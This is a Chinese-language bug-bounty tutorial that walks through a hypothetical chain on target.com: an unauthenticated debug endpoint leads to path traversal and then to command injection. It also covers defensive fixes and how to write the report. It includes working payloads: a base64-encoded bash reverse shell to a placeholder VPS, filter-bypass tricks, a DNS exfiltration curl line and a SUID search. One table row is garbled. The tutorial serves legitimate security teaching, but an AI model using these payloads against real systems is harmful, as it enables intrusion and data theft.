1. 项目概述:从SRC到RCE实战的深度解析
在安全研究领域,SRC(安全应急响应中心)和RCE(远程代码执行)这两个词,几乎构成了每一位白帽子日常工作的核心。SRC平台是连接安全研究者与企业的一道桥梁,而RCE漏洞则是这座桥梁上最值得挖掘的“宝藏”之一。它不像一个简单的XSS或者信息泄露,RCE一旦被成功利用,往往意味着对目标服务器拥有了最高级别的控制权,其危害等级和对应的奖励也通常是最高档。但挖掘一个高质量的RCE,尤其是在众目睽睽的SRC平台上,绝非易事。这不仅仅是对漏洞原理的理解,更是对目标资产架构的洞察、对攻击链路的构思以及对防御边界的试探。今天,我就结合自己多年在各大SRC平台“挖矿”的经验,拆解一个包含RCE的完整实战案例,聊聊背后的思路、踩过的坑以及那些容易被忽略的细节。
这个案例将围绕一个典型的Web应用展开,它可能使用了某些流行的开源框架或中间件。我们的目标不是提供一个可以无脑复现的“一键POC”,而是深入剖析从信息收集、漏洞发现、利用链构造到最终获取Shell的完整逻辑。你会看到,一个成功的RCE挖掘,往往是多个“小问题”串联叠加的结果。无论是非常规路径下的接口、默认配置的组件,还是代码逻辑中的细微瑕疵,都可能成为突破口。对于刚入门SRC的新手,理解这种“串联思维”远比死记硬背几个CVE编号重要得多;而对于有经验的研究者,希望其中的一些迂回思路和排查技巧能带来新的启发。
2. 核心思路与攻击面梳理
2.1 目标锁定与信息收集的“立体化”
接到一个SRC目标,第一步绝不是拿着扫描器无脑乱扫。我习惯先对目标进行“立体化”的信息收集。这包括但不限于:主域、子域名、IP段、使用的技术栈(Wappalyzer等工具)、历史漏洞记录(在各大漏洞平台搜索目标名称)、甚至是通过网络空间测绘引擎(如Fofa、Shodan)寻找关联资产。对于RCE挖掘,我尤其关注以下几点:
- 框架与组件识别:这是最高效的路径。如果目标使用了Spring Boot、Struts2、Fastjson、Shiro、Log4j2等历史上“战绩辉煌”的组件,那么它们就是优先测试对象。但要注意,公开的、直接的漏洞往往已被修复或设有防护,我们需要寻找的是非常规的利用方式或新旧版本混用带来的机会。
- 接口与路径枚举:很多RCE漏洞藏在深层次的API或管理界面中。使用
gobuster、dirsearch等工具进行目录爆破时,字典的选择至关重要。不能只使用通用字典,要结合目标行业特性补充字典。例如,针对OA系统,要加入/seeyon、/yonyou等路径;针对云管理平台,则要关注/api/v1/、/admin/等。 - 源代码与JavaScript分析:前端JavaScript文件(.js)和映射文件(.map)是宝藏。它们可能泄露未在文档中记载的API接口、调试参数、甚至是硬编码的凭证。通过浏览器的开发者工具“网络”选项卡,仔细查看前端加载的所有资源,往往能发现通往后台的“隐秘通道”。
注意:信息收集阶段要控制扫描频率和并发,避免对目标业务造成影响,这是SRC活动的基本伦理,也是避免自己被封IP的关键。
2.2 RCE漏洞的常见入口与串联思维
RCE很少以孤立的形式存在。它通常是一条攻击链的终点。我们需要培养“串联思维”,将几个中低危的漏洞或配置问题组合起来,达成RCE。常见的入口点包括:
- 文件上传漏洞:这是最经典的路径。但如今往往伴有严格的文件类型、内容检查。我们需要考虑如何绕过检查(如修改Content-Type、利用解析差异、制作图片马等),并找到能够解析执行我们上传文件的位置(如
/uploads/目录)。 - 反序列化漏洞:在Java、Python、PHP等语言的应用中,如果程序接受了用户可控的序列化数据并进行反序列化,就可能触发RCE。寻找接收
base64编码数据、JSON但带有特殊标识(如@type)的接口。 - 模板注入漏洞(SSTI):在使用了Freemarker、Thymeleaf、Jinja2等模板引擎的应用中,如果用户输入被直接拼接到模板中,就可能造成代码执行。测试点通常在参数、路径或Cookie中。
- 命令注入漏洞:直接调用系统命令的函数(如
Runtime.exec(),ProcessBuilder,system(),exec()),如果其参数用户部分可控且过滤不严,就会导致RCE。需要测试空格、分号、管道符、反引号等各类命令分隔符的绕过。 - 不安全的外部组件/依赖:如之前提到的Log4j2、Fastjson,或是旧版本的第三方库、框架。需要持续关注CVE公告,并对目标资产进行准确的版本识别。
- 配置缺陷导致的管理后台暴露:许多中间件(如Jenkins、Docker Registry、Redis)或应用的管理后台默认开放且使用弱口令,进入后台后通常能找到执行命令或上传文件的功能。
在本案例中,我们将假设一个场景:通过信息收集发现了一个使用某流行Java框架的子域名,其存在一个需要鉴权的管理功能。我们的攻击链可能是:先通过信息泄露或弱口令进入后台,然后在后台的某个功能点(如“系统设置”、“日志管理”、“插件安装”)中找到命令注入或文件上传的点。
3. 实战案例拆解:从发现到利用
3.1 阶段一:非常规路径下的管理后台发现
假设我们对目标target.com进行子域名枚举,发现了一个dev-admin.target.com的域名。访问该域名,返回的是一个简单的登录页面,没有明显的框架标识。
- 路径爆破:使用定制化的字典进行目录扫描。除了常见的
/admin,/manage,/backend,我还加入了/api/admin,/v1/console,/system等。结果发现了一个路径:/ops/,返回了一个401 Unauthorized,但页面标题显示为“XX系统运维平台”。 - 绕过认证尝试:尝试常用弱口令(admin/admin, admin/123456等)无果。转而查看前端JS。在登录页面的主JS文件中,通过格式化代码和搜索关键词(如
login,auth,token),发现了一段有趣的注释掉的代码,其中包含一个测试接口的路径:/ops/api/v1/debug/health。 - 访问调试接口:直接访问
https://dev-admin.target.com/ops/api/v1/debug/health,竟然返回了系统的健康状态信息(JSON格式),且无需任何认证。这是一个典型的信息泄露/未授权访问漏洞。在返回信息中,看到了系统使用的内部服务地址、组件版本(其中包含一个较旧的日志组件)等敏感信息。
3.2 阶段二:利用信息泄露寻找攻击点
从健康检查接口泄露的信息中,我注意到系统内集成了一个“日志查看”服务,其内部端点指向http://internal-log-service:8080。虽然无法直接访问,但我们在主应用/ops/的页面上找到了一个“实时日志”功能菜单。
- 功能点测试:在登录无果的情况下,尝试直接访问“实时日志”功能对应的URL。通过浏览器开发者工具抓取登录后正常访问的请求,发现其路径为
/ops/#/log/realTime(前端路由)。但直接请求其数据接口/ops/api/v1/log/stream?file=/var/log/app.log时,同样返回401。 - 参数污染与路径遍历:回顾健康检查接口,它是
/debug/health。我尝试将这种/debug/模式应用到日志接口上。构造请求:GET /ops/api/v1/debug/log/stream?file=/var/log/app.log。奇迹发生了,服务器返回了/var/log/app.log文件的内容!这证实了/debug/路径下的接口可能存在统一的鉴权绕过。 - 命令注入试探:既然可以读取任意文件(Path Traversal),我尝试在
file参数中注入命令。首先测试基础分隔符:file=/var/log/app.log;id。返回错误,提示文件不存在。尝试反引号:file=id``,同样错误。这说明后端可能是直接使用cat或tail命令拼接参数,但做了基础的过滤。
3.3 阶段三:构造命令注入与交互式Shell获取
- 分析过滤规则:通过返回的错误信息,我发现当参数包含空格或分号时,会报“非法参数”。但使用
${IFS}(Shell中空格的内部字段分隔符变量)替换空格时,错误信息变了,变成了“文件/var/log/app.log${IFS}不存在”。这说明空格过滤被绕过,但后端可能是用类似Runtime.exec(“sh”, “-c”, “cat “ + userInput)的方式执行,${IFS}被当作文件名的一部分了。 - 寻找无需空格的命令:在Linux中,有些命令可以不用空格。例如,利用
{cat,/etc/passwd}这种大括号扩展语法。我尝试file=/var/log/app.log;{cat,/etc/passwd}。服务器返回了/etc/passwd文件的内容!命令注入成功。 - 反弹Shell:目标是获取一个交互式Shell。由于可能存在字符过滤,我选择使用编码和管道的方式。首先,在公网VPS上监听一个端口:
nc -lvnp 4444。然后,构造一个通过bash反弹Shell的Payload,并将其进行base64编码。- 原始命令:
bash -i >& /dev/tcp/YOUR_VPS_IP/4444 0>&1 - Base64编码:
YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX1ZQU19JUC80NDQ0IDA+JjE= - 构造注入参数:
file=/var/log/app.log;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX1ZQU19JUC80NDQ0IDA+JjE=|base64${IFS}-d|bash - 这里,
${IFS}替换了所有空格,整个命令的意思是:先输出base64字符串,然后通过管道用base64 -d解码,最后交给bash执行。
- 原始命令:
- 执行与权限提升:将上述Payload作为
file参数的值发起GET请求。很快,VPS上的nc监听器收到了连接,获得了一个bashshell。执行id命令,发现当前用户是www-data,权限较低。接下来需要进行简单的权限检查,如查看sudo -l,寻找具有SUID位的二进制文件(find / -perm -u=s -type f 2>/dev/null),或者检查内核版本寻找本地提权漏洞。这部分属于内网渗透范畴,在SRC报告中通常点到为止,证明RCE成功即可。
实操心得:在构造命令注入Payload时,不要一上来就用反弹Shell这种“大动作”。先使用
whoami、id、pwd、ls等简单命令确认注入是否成功、当前权限和路径。另外,注意命令的上下文,如果后端是用Java的Runtime.exec,它不能直接解析管道符|或重定向>&,需要将它们包裹在bash -c中。本例中因为猜测后端是sh -c,所以可以直接使用。
4. 漏洞原理深度剖析与绕过技巧
4.1 漏洞根因:多层防御的失效
这个案例的RCE是多个环节失守的结果:
- 第一层(鉴权绕过):开发者在
/debug/路径下的接口本意用于内部监控,但错误地将其暴露在公网,且未实施任何访问控制。这是典型的功能性配置错误。 - 第二层(输入验证不足):日志查看接口的
file参数,本应严格限制为预期的日志文件名。但后端仅进行了简单的黑名单过滤(过滤空格、分号),未能进行白名单校验或有效的路径规范化,导致路径遍历和命令注入成为可能。 - 第三层(不安全的外部命令调用):后端直接使用用户可控的字符串拼接系统命令(如
cat $file),这是最危险的编程实践。应使用安全的API(如Java的ProcessBuilder并明确传递参数数组)或对输入进行严格的净化。
4.2 命令注入的绕过技巧汇编
在实际测试中,你会遇到各种过滤。以下是一些常见的绕过技巧:
| 过滤项 | 可能的绕过方式 | 示例 |
|---|---|---|
| 空格 | 使用${IFS}、$IFS$9、<、>、%09(Tab的URL编码)、{cat,/etc/passwd} | cat${IFS}/etc/passwd |
黑名单关键字(cat,bash,nc等) | 使用通配符?、*,或命令拼接 | /???/p?ss??(匹配 /etc/passwd),a=c;b=at;$a$b /etc/passwd |
| 管道符/重定向符(` | ,&,>`) | 使用$()命令替换,或编码后通过echo解码执行 |
| 长度限制 | 将命令写入临时文件再执行 | echo${IFS}Y2F0IC9ldGMvcGFzc3dk>C${IFS}/tmp/a;base64${IFS}-d<C${IFS}/tmp/a|bash |
| 字符集过滤 | 利用环境变量、反斜杠转义、引号 | c\at /etc/passwd,”cat” /etc/passwd |
一个高级技巧:无回显命令注入的判断。当页面没有回显时,可以使用时间盲注或外带技术(OOB)。
- 时间盲注:
file=test;sleep${IFS}5。如果服务器响应延迟了5秒,说明注入成功。 - DNS外带:
file=test;curl${IFS}whoami.your-domain.com。在你的DNS日志中查看子域名记录,whoami命令的结果就会被带出。
5. 防御视角与安全开发建议
站在开发者和防御者的角度,如何避免此类漏洞?
- 最小权限原则:运行Web服务的用户(如
www-data)应仅拥有必要的最小权限。禁止其使用sudo,并限制其可访问的文件系统范围。 - 输入验证与净化:
- 白名单优于黑名单:对于
file参数,应基于已知的安全文件列表进行校验。 - 规范化路径:使用编程语言提供的规范路径函数(如Java的
Path.normalize(),Python的os.path.normpath()),并检查路径是否在预期的基础目录内。 - 避免拼接命令:绝对不要使用字符串拼接的方式构造系统命令。如果必须执行命令,应使用安全的API(如Java的
ProcessBuilder,Python的subprocess.run(args=[])),将命令和参数作为分离的数组传递。
- 白名单优于黑名单:对于
- 安全的默认配置:调试接口、监控端点、管理后台必须强制实施强认证,并且默认不应暴露在公网。生产环境应关闭所有调试功能。
- 依赖项管理:定期扫描和更新第三方库、框架,及时修补已知的CVE漏洞。使用软件成分分析(SCA)工具自动化这一过程。
- 纵深防御:在服务器前端部署WAF(Web应用防火墙),虽然不能根治漏洞,但可以拦截大量已知的攻击Payload,为修复争取时间。同时,启用完善的日志审计,记录所有敏感操作(如文件访问、命令执行),便于事后追溯和分析。
6. SRC报告撰写与沟通要点
挖到漏洞只是成功了一半,清晰、专业地提交报告同样重要。
- 标题明确:【高危】[目标域名]某接口存在未授权访问导致命令注入RCE
- 漏洞详情:
- 漏洞URL:提供完整的可复现的URL和Payload。
- 漏洞参数:明确指出存在问题的参数(如
file)。 - 漏洞描述:分步骤描述漏洞发现和利用过程(如:1. 发现未授权访问的
/debug/health接口;2. 通过路径遍历读取文件;3. 构造命令注入Payload获取Shell)。 - 漏洞证明:这是核心。必须提供截图或视频。截图应包括:注入Payload的请求、服务器返回敏感信息(如
/etc/passwd内容)或命令执行结果(如id命令回显)、反弹Shell成功的证明。注意打码,敏感信息(如主机名、真实IP、其他用户信息)需模糊处理。 - 修复建议:参考上一节的防御建议,给出具体、可操作的方案。例如:“对
/debug/路径下的所有接口实施IP白名单或强令牌认证”;“对file参数实施白名单校验,或使用安全的文件读取API”。
- 沟通技巧:语气礼貌专业,专注于技术描述。如果漏洞需要进一步澄清,积极配合。对于争议漏洞(如厂商认为风险较低),准备好更详细的技术原理说明和潜在危害论证。
在整个过程中,我个人的最深体会是:耐心和细致比任何自动化工具都重要。工具能帮你发现“面”,但真正的“点”往往藏在不起眼的JS文件里、藏在非标准的API路径里、藏在某个被遗忘的调试功能里。养成深入分析每一个异常返回、仔细阅读每一行前端代码的习惯,你会发现自己挖掘漏洞的能力将得到质的提升。最后,永远保持对技术的好奇心和对安全的敬畏心,在SRC的战场上,这二者缺一不可。